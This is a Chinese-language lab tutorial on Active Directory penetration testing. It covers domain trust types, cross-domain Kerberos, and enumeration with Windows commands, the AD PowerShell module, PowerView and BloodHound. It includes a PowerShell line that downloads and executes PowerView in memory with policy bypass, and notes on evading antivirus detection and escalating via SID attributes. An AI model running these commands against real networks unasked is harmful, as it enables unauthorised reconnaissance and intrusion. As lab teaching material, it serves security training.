Active Directory 渗透测试靶场(二)
字数 2028 2025-08-27 12:33:48

Active Directory 渗透测试靶场教学文档

0x00 域信任基础原理

域信任关系概述

  • 建立信任的两个域之间可以互相访问资源
  • 需要配合权限设置才能实现资源访问

信任方向

  • 双向信任:任何一方的域都可以访问另一方
  • 单向信任
    • 域A信任域B ⇒ 域A是信任域,域B是可信域
    • 只有受信任域(域B)的用户可以访问信任域(域A)的资源

AD信任类型

信任类型 属性 信任方向 验证方式 详情
树根节点 Transitive 双向 Kerberos V5或NTLM 将新树添加到林中时自动创建
父节点-子节点 Transitive 双向 Kerberos V5或NTLM 添加子域时自动创建
快捷方式 Transitive 单向或双向 Kerberos V5或NTLM 手动创建,缩短信任路径改善认证时间
Transitive 单向或双向 Kerberos V5或NTLM 手动创建,用于在AD DS和林之间共享资源

信任传递性

  • 传递性信任:A信任B,B信任C ⇒ A信任C
  • 自动信任:添加子域时自动创建双向信任(父子信任和根信任)

Kerberos跨域认证流程

  1. DC1的Client从DC1请求TGT
  2. DC1用TGT响应(使用krbtgt hash加密)
  3. Client请求TGS
  4. Client请求DC2,当前域找不到服务器 ⇒ 使用Inter-realm TGT回应
  5. DC2返回用账户hash加密的TGS
  6. 客户端用TGS请求服务器

认证范围设置

  • 林范围身份验证:外部林用户与本地林用户有相同访问权限
  • 选择性身份验证:需手动分配每台计算机和资源的权限

0x01 域信任配置示例

DNS配置要点

  1. 打开DNS管理器
  2. 设置允许区域传送
  3. 验证网域资料显示正常

域信任设置

  • 利用SID属性可将子域权限升级到根域
  • 设置完成后可配置目录权限

0x02 Active Directory信息枚举

AD基础架构

  • 使用LDAP作为访问协议
  • 依赖DNS作为定位服务
  • 数据库文件为NTDS.DIT

PowerShell内存加载技术

powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Get-NetDomain"

基础信息收集命令

  1. 网络配置:ipconfig /all (可识别DC)
  2. 用户信息:whoami /all
  3. 本地组:net localgroup
  4. 管理员组:net localgroup "administrators"
  5. 开放端口:netstat -an
  6. 进程详情:tasklist /V
  7. 系统信息:systeminfo
  8. 计划任务:schtasks /query /fo LIST /v
  9. 补丁情况:wmic qfe get Caption,Description,HotFixID,InstalledOn
  10. ARP缓存:arp -a
  11. 域名:echo %USERDOMAIN%
  12. 域控制器:echo %logonserver%
  13. 域用户列表:net user /domain
  14. 域密码策略:net accounts /domain
  15. 域信任关系:nltest /domain_trusts

Active Directory PowerShell模块

(Windows Server 2008 R2以上支持,AV识别风险低)

  1. 查询所有AD用户:Get-ADUser -Filter *
  2. 查询所有组:Get-ADGroup -Filter *
  3. 筛选管理员组:Get-ADGroup -Filter {Name -like "*admin*"} | select name, GroupScope
  4. 获取当前域信息:Get-ADDomain
  5. 获取AD Forest信息:Get-ADForest
  6. 获取所有信任域:Get-ADTrust -Filter *

PowerView枚举技术

  1. 域内机器:Get-NetComputer
  2. 域控制器:Get-NetDomainController
  3. 组信息:Get-NetGroup
  4. 会话信息:Get-NetSession
  5. ACL信息:Get-ObjectAcl
  6. 访问权限:Find-LocalAdminAccess -Verbose
  7. 枚举管理员组成员:Invoke-EnumerateLocalAdmin -Verbose

Bloodhound工具

关键安全要点

  1. 域信任关系是横向移动的重要路径
  2. SID属性可能被用于权限提升
  3. PowerShell内存加载可绕过部分安全检测
  4. 基础命令收集的信息对渗透测试至关重要
  5. PowerView和Bloodhound是AD渗透的强大工具
Active Directory 渗透测试靶场教学文档 0x00 域信任基础原理 域信任关系概述 建立信任的两个域之间可以互相访问资源 需要配合权限设置才能实现资源访问 信任方向 双向信任 :任何一方的域都可以访问另一方 单向信任 : 域A信任域B ⇒ 域A是信任域,域B是可信域 只有受信任域(域B)的用户可以访问信任域(域A)的资源 AD信任类型 | 信任类型 | 属性 | 信任方向 | 验证方式 | 详情 | |---------|------|---------|---------|------| | 树根节点 | Transitive | 双向 | Kerberos V5或NTLM | 将新树添加到林中时自动创建 | | 父节点-子节点 | Transitive | 双向 | Kerberos V5或NTLM | 添加子域时自动创建 | | 快捷方式 | Transitive | 单向或双向 | Kerberos V5或NTLM | 手动创建,缩短信任路径改善认证时间 | | 林 | Transitive | 单向或双向 | Kerberos V5或NTLM | 手动创建,用于在AD DS和林之间共享资源 | 信任传递性 传递性信任:A信任B,B信任C ⇒ A信任C 自动信任:添加子域时自动创建双向信任(父子信任和根信任) Kerberos跨域认证流程 DC1的Client从DC1请求TGT DC1用TGT响应(使用krbtgt hash加密) Client请求TGS Client请求DC2,当前域找不到服务器 ⇒ 使用Inter-realm TGT回应 DC2返回用账户hash加密的TGS 客户端用TGS请求服务器 认证范围设置 林范围身份验证 :外部林用户与本地林用户有相同访问权限 选择性身份验证 :需手动分配每台计算机和资源的权限 0x01 域信任配置示例 DNS配置要点 打开DNS管理器 设置允许区域传送 验证网域资料显示正常 域信任设置 利用SID属性可将子域权限升级到根域 设置完成后可配置目录权限 0x02 Active Directory信息枚举 AD基础架构 使用LDAP作为访问协议 依赖DNS作为定位服务 数据库文件为NTDS.DIT PowerShell内存加载技术 基础信息收集命令 网络配置: ipconfig /all (可识别DC) 用户信息: whoami /all 本地组: net localgroup 管理员组: net localgroup "administrators" 开放端口: netstat -an 进程详情: tasklist /V 系统信息: systeminfo 计划任务: schtasks /query /fo LIST /v 补丁情况: wmic qfe get Caption,Description,HotFixID,InstalledOn ARP缓存: arp -a 域名: echo %USERDOMAIN% 域控制器: echo %logonserver% 域用户列表: net user /domain 域密码策略: net accounts /domain 域信任关系: nltest /domain_trusts Active Directory PowerShell模块 (Windows Server 2008 R2以上支持,AV识别风险低) 查询所有AD用户: Get-ADUser -Filter * 查询所有组: Get-ADGroup -Filter * 筛选管理员组: Get-ADGroup -Filter {Name -like "*admin*"} | select name, GroupScope 获取当前域信息: Get-ADDomain 获取AD Forest信息: Get-ADForest 获取所有信任域: Get-ADTrust -Filter * PowerView枚举技术 域内机器: Get-NetComputer 域控制器: Get-NetDomainController 组信息: Get-NetGroup 会话信息: Get-NetSession ACL信息: Get-ObjectAcl 访问权限: Find-LocalAdminAccess -Verbose 枚举管理员组成员: Invoke-EnumerateLocalAdmin -Verbose Bloodhound工具 安装指南:参考 BloodHound Wiki 使用教程:参考 FreeBuf文章 关键安全要点 域信任关系是横向移动的重要路径 SID属性可能被用于权限提升 PowerShell内存加载可绕过部分安全检测 基础命令收集的信息对渗透测试至关重要 PowerView和Bloodhound是AD渗透的强大工具